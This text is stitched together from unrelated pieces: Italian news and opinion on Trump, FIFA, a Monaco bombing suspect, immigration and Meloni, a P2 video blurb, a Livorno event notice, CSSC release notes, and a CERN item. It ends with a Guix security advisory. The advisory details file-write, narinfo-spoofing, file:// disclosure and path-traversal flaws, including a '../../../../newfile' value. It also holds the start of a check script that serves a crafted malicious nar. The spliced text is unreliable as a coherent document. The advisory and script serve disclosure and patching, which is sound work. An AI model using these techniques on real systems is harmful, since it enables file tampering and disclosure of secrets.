Poche ore prima della partita, dalla Casa Bianca, Trump aveva ammesso di aver telefonato alla FIFA per il cartellino rosso rimediato da Balogun per un intervento involontario ma pericoloso e scomposto nella partita contro la Bosnia Erzegovina. “Ho visto la partita, e capisco davvero bene lo sport. Quello non era un fallo; non era nemmeno un’infrazione. Erano due ragazzi che correvano a tutta velocità e che sono capitati a sbattere l’uno contro l’altro. Non puoi prendere il tuo piede e posizionarlo correttamente sul piede di qualcun altro. Questo arbitro è un po’ sospetto: se controlli il suo passato, non voglio dirlo perché non mi piace creare controversie, ma è molto sospetto”.
Anche Gianni Infantino, il presidente della FIFA, ieri aveva respinto le polemiche e aveva spiegato che ogni decisione presa dagli organi giudiziari della FIFA sono indipendenti, che “la loro indipendenza è essenziale per la credibilità e l’integrità del calcio”, che parla abitualmente con Trump e con altri Capi di Stato, funzionari governativi e stakeholder e che “quello che faccio sempre, però, è rispettare quelle decisioni e l’autonomia degli organi che le prendono. Che ci piaccia personalmente una decisione o no è irrilevante. Il rispetto per le istituzioni indipendenti e il rispetto della legge sono ciò che protegge l’integrità delle nostre competizioni e la credibilità della FIFA in ogni momento”. Aveva confermato la telefonata ma negato che abbia influito in qualche modo sulla decisione di sospendere la squalifica dell’attaccante.
La FIFA aveva così respinto il ricorso del Belgio, giudicato “inammissibile” in quanto la Nazionale “non è parte del procedimento e, pertanto, non ha titolo per impugnare la decisione” proprio mentre Trump spiegava e argomentava le ragioni della sua telefonata, ammettendo tra le altre cose che non conosceva il significato di un cartellino rosso nel gioco del calcio. “Non sapevo cosa significasse, non pensavo significasse molto. Poi ho iniziato a sentire che non può giocare nella prossima partita, almeno nella prossima partita. Quando prendono il tuo miglior giocatore e dicono che non puoi giocare è molto ingiusto. Un conto è penalizzare qualcuno per la partita, ma come fai a penalizzare per una partita che non è ancora stata giocata? È molto ingiusto. Quindi, sì, ho chiesto una revisione alla FIFA. Ho parlato con un uomo molto rispettato, per cui il livello di rispetto è aumentato di dieci volte”.
Alcuni avevano lanciato un appello all’allenatore degli USA, Mauricio Pochettino, affinché non schierasse Balogun che, nella notte italiana, alla fine ha giocato e non ha brillato. È stato giudicato come uno dei peggiori in campo. Due gol e un assist per Charles De Ketelaere, terzo gol di Hans Vanaen, nei minuti di recupero il quarto gol di Romelu Lukaku, attaccante del Napoli, ex Inter e Roma, che ha esultato con la “Trump Dance”. L’unico gol degli USA è stato segnato da Malik Tillman. “Ribalta questo”, ha postato l’account ufficiale del Belgio che ai quarti di finale giocherà contro la Spagna, il 10 luglio al Los Angeles Stadium, in California. Con l’uscita degli Stati Uniti tutte le nazionali dei Paesi organizzatori sono fuori dai Mondiali.
È stata trovata morta vicino Kiev, dove sarebbe stata uccisa a colpi d’arma da fuoco. Il corpo di Anastasia Berezovska, trentanovenne di nazionalità ucraina ma residente in Germania, considerata la principale sospettata dell’attentato dinamitardo di lunedì 29 giugno nel Principato di Monaco che ha gravemente ferito l’oligarca ucraino Vadim Ermolaev, la compagna e il figlio 13enne, è stato trovato privo di vita nei pressi della capitale dell’Ucraina. A riferirlo è il quotidiano ucraino Ukrainska Pravda citando le forze dell’ordine locali: il cadavere di Anastasia Berezovska è stato scoperto nella tarda serata del 6 luglio e, nell’ambito dell’inchiesta relativa alla sua morte, sarebbero già state arrestate due persone. Si tratta di un ufficiale in servizio della Direzione principale dell’intelligence militare ucraina (Gur) e un ex appartenente alle forze dell’ordine.
Nei confronti di Berezovska la Procura di Monaco aveva emesso un mandato d’arresto, notificato poi all’Interpol. La 39enne ucraina era stata inizialmente scambiata per un uomo a causa dei vestiti indossati: prima dell’attacco dinamitardo, come emerso dalle indagini condotte nel Principato, Berezovska avrebbe compiuto diversi sopralluoghi nei giorni e nelle ore precedenti l’attentato davanti alla casa dell’oligarca ucraino. Dopo aver piazzato la bomba era poi fuggita in Francia e da lì in Italia utilizzando un’auto recuperata a Beausoleil, in Francia, al confine con Monaco, dove era arrivata a piedi dopo l’attentato. Dal nostro Paese si sarebbe diretta verso la vicina Svizzera, per poi scomparire fino alla tarda serata di lunedì, quando il suo corpo è stato rinvenuto nei dintorni di Kiev.
La pista privilegiata dalla Procura di Monaco è quella di un’azione dimostrativa dei servizi segreti ucraini, per dare un segnale a tutti gli oligarchi come Ermolaev, quelli noti come “Battaglione Monaco” per la scelta di rifugiarsi nel Principato per sfuggire alle rappresaglie di Kiev. Ermolaev, dal 2019 in possesso di un passaporto cipriota, dal dicembre 2023 è sottoposto a sanzioni con un decreto del Consiglio di sicurezza nazionale ucriaino: il provvedimento, della durata di 10 anni, impone tra le altre cose il congelamento totale degli asset finanziari. L’accusa nei confronti dell’imprenditore riguarda le sue condotte illecite in Crimea: è nella regione ucraina sotto occupazione russa e dal 2014 annessa illegalmente da Mosca dopo un referendum farsa che le aziende di Ermolaev continuava a vendere propri prodotti, in particolare alcolici, nonostante il divieto imposto dal governo ucraino. Ermolaev ha sempre respinto ogni addebito, negando qualsiasi legame con la Crimea e col Cremlino.
Quando nel luglio del 2013 Papa Francesco scelse Lampedusa come primo viaggio del suo pontificato, non andò a parlare di immigrazione. Andò a parlare di indifferenza. Denunciò quella che definì la “globalizzazione dell’indifferenza”: uomini, donne e bambini che morivano nel Mediterraneo mentre l’Europa discuteva di quote, confini e procedure.
Tredici anni dopo anche Leone XIV sceglie Lampedusa. Non è soltanto una visita pastorale. È un messaggio politico, nel senso più alto del termine, è un invito all’Europa a tenere insieme regole e accoglienza. Ed è un messaggio che arriva nel momento in cui il vento soffia nella direzione opposta. Negli Stati Uniti Donald Trump ha trasformato l’immigrazione nel principale terreno di scontro politico, tra deportazioni di massa, muri e retate. In Europa avanzano governi e partiti che considerano ogni barcone una minaccia e ogni politica di integrazione una resa. Ovunque sembra prevalere la tentazione di sostituire il governo dei fenomeni con la loro rappresentazione: meno soluzioni, più slogan; meno regole efficaci, più propaganda. È dentro questo clima che Lampedusa torna a essere una coscienza. Ricorda che controllare i confini è un dovere degli Stati. Ma costruire deliberatamente irregolarità non è una politica. È un fallimento. E proprio qui emerge il paradosso italiano. Esiste una categoria di persone che la destra detesta più di ogni altra: i migranti irregolari. Ne parla ogni giorno. Li indica come il simbolo del degrado, dell’insicurezza, dell’illegalità. Promette di rimpatriarli, di espellerli, di fermarli, di mandarli in Albania.
Sono la materia prima di ogni campagna elettorale. Poi accade una cosa curiosa. La stessa destra difende con i denti la legge che quegli irregolari li produce. La Bossi-Fini è ormai un monumento politico. Dal 2002 non si tocca. È diventata una reliquia identitaria. Guai a dire che forse non funziona. Verresti immediatamente catalogato tra gli amici dell’immigrazione incontrollata. E invece basterebbe leggere i numeri. Meno di un ingresso su dieci previsto dai Decreti Flussi si trasforma davvero in un permesso di soggiorno e in un contratto di lavoro. Gli altri finiscono nel limbo. Invisibili. Ricattabili. Perfetti per il lavoro nero, il caporalato, l’economia sommersa. Una legge nata per combattere la clandestinità produce clandestini in serie. Un piccolo capolavoro. Naturalmente il governo Meloni sa benissimo che l’Italia ha bisogno di lavoratori stranieri. Lo dimostra ogni anno quando approva nuovi Decreti Flussi autorizzando centinaia di migliaia di ingressi. Ed è qui che il racconto diventa irresistibile. Perché oggi i più accesi sostenitori della “remigrazione” sono gli stessi che ieri hanno votato quei decreti. I deputati vannacciani, oggi in Futuro Nazionale, nel 2024 votarono il decreto che autorizzava oltre 450 mila lavoratori stranieri. Forse erano altri? Forse un’improvvisa epidemia di omonimia parlamentare. Oppure, più semplicemente, cambiano le parole d’ordine con la stessa rapidità con cui si cambia gruppo parlamentare. Prima servivano lavoratori. Adesso servono nemici.
La verità è molto meno epica. L’Italia invecchia. Nascono sempre meno bambini. Mancano muratori, infermieri, badanti, camerieri, operai agricoli. Lo ripetono gli imprenditori. Lo sanno i sindaci. Lo sa il governo. Lo sanno tutti. Ma anziché costruire un sistema semplice per fare entrare chi serve, identificarlo, farlo lavorare, pagare le tasse e i contributi, preferiamo costruire un labirinto amministrativo che trasforma persone regolari in persone irregolari. Poi ci indigniamo perché esistono gli irregolari. È un meccanismo quasi perfetto. Prima li fabbrichiamo. Poi li utilizziamo come prova che avevamo ragione. La Bossi-Fini è questo: una gigantesca macchina della clandestinità di Stato. Non perché favorisca l’immigrazione. Perché favorisce l’immigrazione irregolare. Costringe lo Stato a rincorrere permessi, rinnovi, pratiche, timbri e ricorsi, mentre i controlli veri sul lavoro nero restano insufficienti e lo sfruttamento prospera.
Sarebbe curioso chiedere a un elettore di destra se preferisce uno straniero identificato, assunto regolarmente, che versa contributi e paga le tasse, oppure uno sconosciuto senza documenti, senza contratto e nelle mani dei caporali. Probabilmente sceglierebbe il primo. Eppure continua a votare chi difende il secondo modello. Perché la destra ha scoperto una cosa straordinaria: alcuni problemi sono troppo redditizi per essere risolti. L’immigrazione irregolare è uno di questi. Se diminuisse davvero, bisognerebbe trovare un altro argomento con cui spaventare gli italiani. E Lampedusa tornerebbe a essere ciò che dovrebbe essere: un’isola del Mediterraneo. Non il luogo in cui, da tredici anni, due Papi sono costretti a ricordare alla politica una verità elementare: l’immigrazione si governa con regole giuste, canali legali e controlli efficaci, non costruendo clandestini per poi usarli come bersaglio della propria propaganda.
Se fin qui aveva usato la mazza, adesso Donald Trump è passato direttamente alla clava. Il meme, che dovrebbe avere diffusione molto maggiore di un semplice post, messo in rete dal presidente americano nella notte tra domenica e lunedì equivale a una bomba di profondità mediatica. Giusto un’istantanea di Giorgia che guarda adorante l’americano preso di spalle e un laconico commento: “Restraining Order Needed”.Traduzione letterale: “È necessaria un’ordinanza restrittiva”. Traduzione in italiano corrente: “Toglietemela dai piedi”. A confronto la nota intervista telefonica con la quale il presidente aveva aperto le ostilità, quella del ‘ho accettato la foto perché mi faceva pena’ è una carezza.
A palazzo Chigi e nel governo la nuova carica non se l’aspettava nessuno. In vista del vertice di Ankara di domani promette malissimo. Se The Donald picchia così sulla leader che si è scelto come vittima preferita per bastonare l’intera Europa è probabile che arrivi in Turchia deciso a litigare e non è affatto escluso che per aprire le danze se la prenda di nuovo con Giorgia, e stavolta dal vivo. La decisione della premier era prevedibile. Non reagire. Non replicare. Non prestarsi al gioco e tenere le dita ben intrecciate augurandosi che l’americano non vada oltre. In privato i pezzi da novanta della maggioranza bersagliano l’ex idolo Maga. In pubblico restano muti come la stessa premier o commentano flautati. Lo fa Tajani: “Parole che si commentano da sole ma le relazioni transatlantiche vanno al di là delle semplici dichiarazioni”. Lo fa anche Crosetto: “Bisogna mantenere i rapporti con un alleato storico come gli Usa. Le persone passano, i rapporti restano”. Parole molto caute che proprio per questo mettono in risalto il silenzio del vicepremier Salvini che non arriva neppure a tanto e si barrica dietro un imbarazzante ‘No Comment’.
Mantenere la stessa cautela ad Ankara sarà più difficile, dal momento che per quanto si sforzi di star lontana dal nemico americano Meloni non potrà evitarlo soprattutto se a scegliere lo scontro fosse lui, come è in realtà improbabile ma non impossibile. Ma il punto critico non sono le eventuali villanie di Trump: è la concretissima materia del contendere, cioè le spese militari. Perché proprio su quel fronte l’Italia arriva ad Ankara ancora più esposta del resto d’Europa che già non scherza. Un anno fa, a L’Aja, tutti, con l’esplicito intento di ingraziarsi il rissoso Donald, avevano accettato l’impegno di portare le spese per la difesa sino al 3,5% e quelle per la sicurezza all’1,5% entro il 2035. Detto e non fatto, soprattutto dall’Italia.
La premier arriverà vantando un salto dall’ 1,6% al 2,8% nell’ultimo anno e promettendo di “proseguire in questa traiettoria”, cioè confermando quanto meno esplicitamente possibile il proibitivo impegno. Quelle percentuali però sono in buona parte taroccate. La spesa italiana va divisa in un 2,09% per la difesa propriamente detta e in uno 0,71% per la sicurezza intesa in senso molto lato. La prima percentuale supera di poco quella del 2025, 2% e anche allora il salto di quattro decimali era dovuto non a veri nuovi investimenti ma a un riconteggio di spese precedenti che, tirando un po’ le cose per i capelli, possono rientrare comunque negli standard Nato. La percentuale investita in sicurezza, poi, stata raggiunta considerando “sicurezza” davvero di tutto e di più. Lo sanno tutti in Italia. Difficile credere che non lo sappia Trump.
Bisogna aggiungere due particolari decisivi. L’Italia ha scelto di non aderire al Purl, il piano di acquisti di armi americane da inviare all’Ucraina. Soprattutto, dopo aver prenotato in autunno 14,9 mld per le armi con il SAFE, il prestito molto agevolato europeo, tutto è stato congelato e, nonostante le recenti e volutamente ambigue dichiarazioni, non è affatto detto che il governo scelga di accedere a quel prestito. Conclusione: anche al di là del personale malanimo di Trump nei confronti della ex pupilla che considera oggi una traditrice, l’Italia è davvero l’anello più debole della catena europea e si presterebbe pertanto comunque a fare da primo bersaglio se il presidente americano decidesse, come è probabile che faccia, di attaccare a testa bassa. La premier mira a parare il colpo con la promessa di investire lo 0,55% in più entro il 2028. Sono 17 mld e trovarli in piena campagna elettorale non sarà né facile né indolore.
In casa l’opposizione tutta offre solidarietà alla premier. Schlein e Conte adoperano quasi le stessa formula: le parole di Trump sono inaccettabili ma a prestare il fianco facendosi incantare dalla propaganda Maga invece di scegliere risolutamente l’Europa è stata proprio la maltrattata. Piena solidarietà ma è ora che si svegli. Non che Giorgia possa battere altre strade. A questo punto fidarsi ancora della Casa Bianca indicherebbe solo tendenze suicide e cercare riparo dietro l’Europa è l’unica possibilità per Giorgia. È una devastante sconfitta di tutta la sua strategia in politica estera ma è anche una strada a modo suo comunque impervia. Perché sia per quanto riguarda l’Ucraina che il riarmo anche i partner europei pretendono a questo punto molto più che belle e molto economiche parole.
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Aggiornamento
L'aggiornamento alla versione major 8.0.0 a partire dalla versione 7.x semplice:
Cosa sapevano davvero Aldo Moro e Licio Gelli? E perché chi ha provato a raccontarlo è morto prima di poterlo fare? Una pellicola scomparsa, un'agenda rossa mai ritrovata, pagine segrete nascoste per dodici anni dentro un muro.
Siamo tra la strage di piazza Fontana del 1969 e il sequestro di Aldo Moro del 1978, negli anni più bui della Repubblica italiana. Protagonisti di questa storia sono Licio Gelli, capo della loggia P2, lo stesso Aldo Moro e i giornalisti che hanno pagato con la vita il tentativo di far emergere la verità.
Cosa trovi in questo video:
✔️ La vera lista della P2 e i nomi mai resi pubblici
✔️ Il Memoriale di Aldo Moro ritrovato in via Monte Nevoso
✔️ Le 229 pagine nascoste per dodici anni dentro una parete
✔️ Il collegamento tra il memoriale e Gladio
✔️ Le morti sospette di Pecorelli, Turatello e Chichiarelli
✔️ La pellicola Super 8 girata a piazza Fontana nel 1969
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Il prossimo 19 luglio, Anniversario della Liberazione di Livorno, a partire dalle 18.30, sarà l’occasione per presentare alla cittadinanza la nuova sede dell’ISTORECO.
Grazie alla disponibilità del Comune, del Sindaco e alla riconosciuta rilevanza della nostra attività in città sul fronte della conservazione della memoria, della divulgazione di una conoscenza critica del nostro passato, della promozione costante di ricerche di qualità che hanno attirato l’attenzione di studiosi, siamo stati individuati come il soggetto adatto a entrare in questa sede prestigiosa contrassegnata dagli avvenimenti più importanti degli ultimi due secoli passati.
La nuova sede è l’Edificio dell’Orologio, ex ingresso del Cantiere Navale di Livorno, un pezzo della storia del Novecento livornese.
Il presidente nazionale dell’Istituto Nazionale “Ferruccio Parri”, Senatore Paolo Corsini, terrà la commemorazione ufficiale, accompagnato dagli interventi della direttrice Catia Sonetti e di due nostri giovani collaboratori. Il tutto sarà allietato dalla banda cittadina.
Come Istoreco abbiamo deciso di presentarla alla cittadinanza in un momento di festa importante, con ospiti illustri. Naturalmente la piena operatività della sede sarà rinviata di qualche mese per le necessità legate al trasloco e per alcuni accorgimenti per poter accogliere cittadini e studenti. Motivo per cui gli uffici fino all’autunno saranno in Via Marradi.
Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.
Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify CSSC-1.5.0.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
or run this command from a git-cloned CSSC directory:
git shortlog CSSC-1.4.1..v1.5.0
This release was bootstrapped with the following tools:
Autoconf 2.72
Automake 1.17
Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df
NEWS
Noteworthy changes in release 1.5.0 (2026-07-05) [beta]
* The test suite no longer depends on Python, so it should
work on older systems that have no Python 3 interpreter. While you can
build and test CSSC without Python, you do need a Python interpreter
to do some maintenance tasks (such as importing the "gnulib" code into
a git checkout).
* Tolerate SCCS files in which file flags lack the space
separator which would normally come between the flag letter and the
associated value.
Noteworthy changes in release 1.5.0-rc3 (2026-06-14)
* Some typos in error message have been fixed.
* admin now supports combination of -r with -n as well as the
portable combination of -r with -i.
* Support "sccs sact"; the sact program already existed but
could not previously be invoked via the sccs wrapper. Thanks to Greg
A. Woods for this improvement.
* In some places we now prefer "grep -E" to "egrep" in order
to avoid a warning message from GNU grep. Some very old versions of
Unix may not support this option.
* Various C++ portability improvements.
* Updated version of gnulib.
* Updated version of googletest; this is now at the last
version at which it still supported building with Automake.
Noteworthy changes in release 1.5.0-rc2 (2024-05-13)
* This release is more careful to detect I/O failures when
writing to stdout in prs and prt.
* This release should build on more modern platforms.
* The --with-googletest configure option is removed (now we
always use it).
Da ieri il Large Hadron Collider (LHC) del CERN è stato spento per lasciare spazio ai lavori di trasformazione che porteranno a High Luminosity LHC (HiLumiLHC), un upgrade dell'acceleratore LHC che entrerà in funzione intorno al 2030.
Several security issues (CVE IDs pending) have been identified in guix substitute, a helper utility invoked by
guix-daemon,
which enable a variety of harmful activities including remote privilege
escalation to the build daemon user, remote store corruption, and
potentially local disclosure of sensitive files accessible to the build
daemon user. All systems are affected, whether or not guix-daemon is running
with root privileges; the harm that can be done when guix-daemon runs without
root privileges is more limited. You are strongly advised to upgrade your
daemon now (see instructions below), carefully considering whether to pass
--no-substitutes to all guix commands when you do so (see note in Upgrading
section).
The remote exploitation of guix substitute only requires that the vulnerable
system attempt to download a binary substitute. Any configured substitute
server, including ones discovered using guix-daemon's --discover option, can
exploit this, and so can a man-in-the-middle (MITM), regardless of whether
https is used in the substitute server urls.
The local exploitation of guix substitute only requires the ability to connect
to guix-daemon's socket, which by default any user can do.
Separately, another security issue (CVE ID pending) was identified in guix pull and guix time-machine, which enables anyone who can control the channels
file used by these commands to cause a file to be created or overwritten
wherever the user running the command in question has permission to create
them. This is possible regardless of whether the channels file is evaluated in a
sandbox and whether the channels used are limited to those sharing an
introduction with a trusted channel. Due to limitations on the content of the
created or overwritten file, this primarily represents a denial-of-service
risk, though in theory it could do more.
Update 2026-07-06: if you are using the unprivileged guix-daemon, as is
the default on distros other than Guix System since version 1.5.0, and if you
updated it between July 2nd and July 5th, you've probably been affected by
this regression preventing
substitutes from working. It is now fixed, but if you are stuck trying to
upgrade, try passing --no-substitutes. If you can't reasonably upgrade
without substitutes, you can either take your chances downgrading to the
vulnerable guix-daemon and using it or try tinystar's
workaround
(doesn't apply to Guix on distributions other than Guix System).
Vulnerabilities
Three distinct vulnerabilities have been identified affecting guix substitute,
with a fourth affecting guix pull and guix time-machine:
(CVE assignment pending) The procedure that Guile code uses to unpack
substitutes, restore-file in (guix serialization), was not hardened
against malicious input, but it was called to extract the substitute being
downloaded as it was being downloaded, rather than waiting until after the
entire archive had been obtained and its hash had been verified. These
facts together make it possible for any substitute server (or any entity that
can impersonate one) to write arbitrary files to any place on an affected
system that the daemon user has permission to write to. In the case of the
daemon running as root, that includes /etc/passwd.
To avoid depending on the X.509 Public Key Infrastructure, the procedure that
fetches metadata about available substitutes (called narinfos),
fetch-narinfos, does not verify server certificates, since the canonical
parts of narinfos need to be signed anyway to be considered valid.
Unfortunately the substitute URL is not one such canonical part, and so it
can be replaced with an attacker-controlled URL. If the substitute
downloaded doesn't match the signed hash in the narinfo, it will be rejected,
but by then it is too late: the substitute was extracted as it was being
downloaded, so the damage is already done.
This means that even though download-nar, the procedure responsible for
actually downloading the substitute, does itself verify server certificates,
using https in substitute server urls cannot limit who can exploit this, as
the certificate only needs to be appropriate for the attacker-controlled URL.
restore-file is also used by other utilities, including guix offload,
guix archive --extract, and guix challenge. These can all be exploited
in the same way if untrusted input is given to them.
(CVE assignment pending) The procedure that fetches metadata about available
substitutes (called narinfos), fetch-narinfos in (guix substitutes),
does not verify that the narinfo it got is the one it asked for, nor do any
of its callers in (guix scripts substitute). Consequently, it is possible
for a substitute server (or anyone who can impersonate one) to trick guix substitute into using any store item for which there is an authorized
substitute as a substitute for any other store item for which there is an
authorized substitute. The complete extent of harm that can be caused by this
depends in part on what store items an authorized substitute server has
signed or can be convinced to sign, but at minimum this can be used to cause
outdated and insecure versions of software to be used.
(CVE assignment pending) The implementation of guix substitute in (guix scripts substitute) permits file:// URIs to be used both for specifying
substitute server URIs (where to look for narinfos) and for specifying within
narinfos where to download the corresponding archive from. It does not
distinguish between --substitute-urls passed on the guix-daemon command
line and --substitute-urls passed on the guix command line (client-side),
with the latter taking precedence over the former. Opening of these file://
URIs follows symbolic links. Consequently, an untrusted client may cause any
file that the daemon can read to be read. If a given line of it doesn't look
like a valid narinfo line (it uses recutils format), guix substitute may
throw an exception, causing a backtrace containing that line to be passed
through to the client. So, for example, a file containing a single line
containing only a secret passphrase may have its contents revealed to any
local user if the daemon user can read it.
Additionally, when a file:// URI is used as the URI of a nar to download,
it may be written to the store if it happens to be a valid nar ("normalized
archive") as used by Guix and Nix. This is unlikely, though.
In addition to possibly causing secrets to be disclosed, this can also be
used to interfere with the reading of any file being read by any process that
the daemon user could trace, through the use of files in /proc/PID/fd.
(CVE assignment pending) The procedure which guix pull and guix time-machine use to authenticate channels, authenticate-channel in (guix channels), passed a cache key derived from the channel name to
authenticate-repository in (guix git-authenticate). This cache key was
used to determine a filename for storing previously-authenticated commit IDs
in. If the channel name was of the form "../../../../newfile", it could have
caused "newfile" to be created in the user's home directory. It may also have
overwritten "newfile" if it already existed, but only if it already looked
like a Scheme-syntax list of strings, since the contents would have to have
first been read and processed before new contents would have been written.
In the event that a write is performed, the output will only include a
Scheme-syntax comment, newline, and list of hexadecimal strings corresponding
to git commit identifiers. This makes it difficult to use for a practical
attack other than a denial-of-service, but note that since it can target
files in /proc, a sufficiently creative and informed attacker may be able
to exploit this further.
Vulnerabilities (1) and (2) can be mitigated against remote attackers by not
using substitutes, either by passing --no-substitutes to guix-daemon or
passing --no-substitutes to all guix commands. It's always possible to turn
substitutes back on for an individual client, though, so this doesn't work to
defend against a local attacker exploiting (1), (2), or (3), which cannot be
mitigated and must be fixed by updating. Vulnerability (4) can be mitigated by
not running guix pull or guix time-machine with an untrusted channels file.
A test for the presence of these vulnerabilities is available at the end of this
post. One can run this code with:
Note: this should be run as a regular user that is neither root nor
whichever user runs guix-daemon, since such users will be treated as trusted
and will not have the restrictions used to fix vulnerability (3) applied to
them, making it impossible for the test to tell whether the fix is in place
for untrusted users.
This will finish with a sequence of 4 lines, beginning with restore-file,
fetch-narinfos, file-uris, and cache-key respectively, each followed by a
colon, a space, and either vulnerable or not vulnerable depending on whether
the running guix-daemon has the indicated vulnerability or not. If all 4 lines
contain not vulnerable, then guix repl will exit with status code 0,
otherwise it will exit with status code 1.
Some of the tests can fail to produce a result in some cases. In this case the
output following the test name will start with error:. A test that fails to
produce a result should be regarded as inconclusive.
The restore-file and fetch-narinfos tests may fail to produce a result if no
substitutes are authorized, or if no authorized substitutes for the current
guix's cfunge, hello, or sed packages can be accessed through any of the
configured substitute urls. The restore-file test may fail to produce a result
if cfunge is reachable from some garbage collection root, such as a
profile. The cache-key test may fail to produce a result if network access to
codeberg to fetch a small portion of the history of the guix-science channel
is not available, which can be worked around by editing the script's definition
of guix-science-url to be any URL (or a filename) at which a copy of the
guix-science repository can be found.
Fixing vulnerability (1) involved hardening restore-file so that it detects
and rejects invalid directory entry names. Specifically, entry names must be
unique, in strictly ascending order, not empty, not equal to "." or "..", and
not containing "/" or null bytes. Additionally, procedures currently used as the
#:dump-file argument to restore-file were modified to insist on creating the
target file afresh and never follow symbolic links.
The inspiration for that last change came from looking at the implementation of
nar-parsing in parse in nix/libutil/archive.cc, where it was determined that
that implementation was not vulnerable, but was about as close to vulnerable as
it could get without actually being vulnerable, only barely being saved by the
fact that the filesystem primitives used all refused to follow symbolic links or
accept an existing target (see this commit
message for
details). To avoid wasting another 3 hours trying to determine this the next
time anyone tries looking at it with a critical eye, that implementation was
also rewritten to be stricter and more obviously secure. It is perhaps not
surprising that the same code led to CVE-2024-45593 in Nix when it was modified
to use more lax filesystem primitives from std::filesystem.
Fixing vulnerability (2) involved modifying fetch-narinfos to not include a
result if it didn't match what was asked for.
Fixing vulnerability (3) involved modifying (guix scripts substitute) to
verify that all substitute urls from untrusted sources are not file:// urls,
and that all nar urls in narinfos are not file:// urls (except when a special
flag is set, which is only done in the test suite).
Some additional hardening was also done, so that substitutes are restored inside
a temporary directory and only moved to their final store item path once the
hash is verified. This still restores them before verifying the hash, so it
wouldn't have prevented (1), but it does ensure that attacker-controlled
contents are not present at the path of what may have once been a valid store
item (and may still be considered by some users or programs to be valid if they
haven't taken note of a recent garbage collection). The narinfo-reading code was
also modified to reject as invalid any narinfo file whose StorePath, References,
or Deriver field contained a path that did not obey the store item path syntax
requirements. A nice side-effect of this is that we now have procedures for
verifying the syntax of store item paths.
Fixing vulnerability (4) involved changing how cache-key was computed by
default for users of authenticate-repository. Rather than being derived from
the name of the channel or (for guix git authenticate) the url of the
repository, cache-key is now derived from the ID of the introductory commit,
which is a very safe hexadecimal string. This also avoids some strange and
potentially-dangerous behavior in which cached authenticated commit IDs could be
shared between two channels that happen to share a name but are otherwise
completely different. Additional hardening of authenticate-repository was
added to turn all occurrences of . in cache-key into - so that even if
non-default cache keys were provided, it would not be possible to escape the
cache directory.
Upgrading
Due to the severity of this security advisory, we strongly recommend all users
to upgrade guix and guix-daemon immediately.
Note: The astute reader may have noticed a dilemma: the fastest way to get
updates is through substitutes, and the way to mitigate the most severe of the
remotely-exploitable vulnerabilities is to disable substitutes. Whether to
pass --no-substitutes is therefore a judgment call that must take into
consideration how long it has been since these vulnerabilities were made
public, how exposed the network paths between your system and your substitute
servers are, how feasible it is for the system in question to build guix by
itself (which will depend in part on how long it has been since you last
upgraded), whether the system in question has multiple users, and of course,
your threat model.
For Guix System, the
procedure
is to reconfigure the system after a guix pull, either restarting
guix-daemon or rebooting. For example:
where /run/current-system/configuration.scm is the current system
configuration but could, of course, be replaced by a system configuration file
of a user's choice.
For Guix on another distribution, one needs to guix pull with sudo, as
the guix-daemon runs as root, and restart the guix-daemon service, as
documented.
For example, on a system using systemd to manage services, run:
Note that for users with their distro's package of Guix (as opposed to having
used the install
script)
you may need to take other steps or upgrade the Guix package as per other
packages on your distro. Please consult the relevant documentation from your
distro or contact the package maintainer for additional information or
questions.
Timeline
May 28th, 2026. Jörg Thalheim of Nix shares the restore-file vulnerability
with Christopher Baines and Andreas Enge; Christopher sends details to the
Security Response Team.
June 4th, 2026. Andreas Enge notifies Caleb Ristvedt and Ludovic Courtès who
start working on a fix.
June 10th, 2026. Caleb Ristvedt finds the file:// vulnerability
of guix substitute.
June 22nd, 2026. Caleb Ristvedt finds the third vulnerability: that guix substitute did not verify whether the narinfo it is getting is the one it
asked for.
June 24th, 2026. Following an issue reported by Sergio
Pastor-Pérez,
Ludovic Courtès identifies the pull and time-machine vulnerability and
works on a fix. For the sake of convenience and because hints were available
publicly, it was decided that it should be promptly fixed and disclosed at the
same time as the other vulnerabilities.
Conclusion
We would like to thank Jörg Thalheim for sharing the restore-file
vulnerability, Christopher Baines for verifying it and informing the Security
Response Team, and Andreas Enge for ensuring
that it reached Ludovic and Caleb and facilitating ongoing communication with
Jörg.
We would also like to thank John Kehayias of the Security Response Team for
coordination and for requesting CVE IDs.
Test for presence of vulnerability
Below is code to check if your guix-daemon is vulnerable to the first three
vulnerabilities and your guix is vulnerable to the fourth. Save this file as
guix-substitute-and-pull-vuln-check.scm and run following the instructions
above, in "Mitigation."
(use-modules (git)
(guix build utils)
(guix derivations)
(guix channels)
(guix config)
(guix gexp)
(guix git)
(guix narinfo)
(guix packages)
(guix pki)
(guix utils)
(guix serialization)
(guix store)
(guix substitutes)
((gnu packages base) #:hide (which))
(gnu packages esolangs)
(srfi srfi-1)
(srfi srfi-26)
(srfi srfi-31)
(srfi srfi-34)
(rnrs bytevectors)
(ice-9 atomic)
(ice-9 binary-ports)
(ice-9 control)
(ice-9 match)
(ice-9 popen)
(ice-9 rdelim)
(ice-9 textual-ports)
(ice-9 threads)
(web response)
(web request)
(web uri)
(web server)
(web server http))
;; 1. restore-file
;; Craft an invalid nar, identify a substitutable path that doesn't exist (gc
;; if necessary), get its signed narinfo, start an http server, connect to
;; store, set substitute urls, ask to substitute the chosen path. Have http
;; server serve the signed narinfo with the URLs replaced with its own. When
;; the nar is requested, serve the invalid nar. Once the substitution errors
;; out (hash doesn't match), check whether the chosen file now exists with the
;; specified contents. We're vulnerable if and only if it does.
(define target-file
"/tmp/guix-restore-file-vulnerable")
(define target-substitutable-package
;; pick something obscure but in the main guix channel, so it is either not
;; currently valid or can probably be gc'ed. This is just to make the test
;; more reliable - in real exploitation, an attacker can sit around and wait
;; for any substitute request to be made, but here we need to provoke one in
;; a timely manner.
cfunge)
(define substitute-servers
(with-store store
(substitute-urls store)))
;; Grafts can cause package->derivation to actually start substituting outputs
;; of the derivation being computed, which means we'd have to gc it afterward.
(%graft? #f)
(define (package->path+narinfo store package)
(define path
(derivation->output-path (run-with-store store (lower-object package))))
(match (lookup-narinfos/diverse substitute-servers (list path)
valid-narinfo?)
((info) (values path info))
(() (values #f #f))))
(define (restore-file-vuln?)
(define-values (target-path target-info)
(call-with-values (lambda ()
(with-store store
(package->path+narinfo store
target-substitutable-package)))
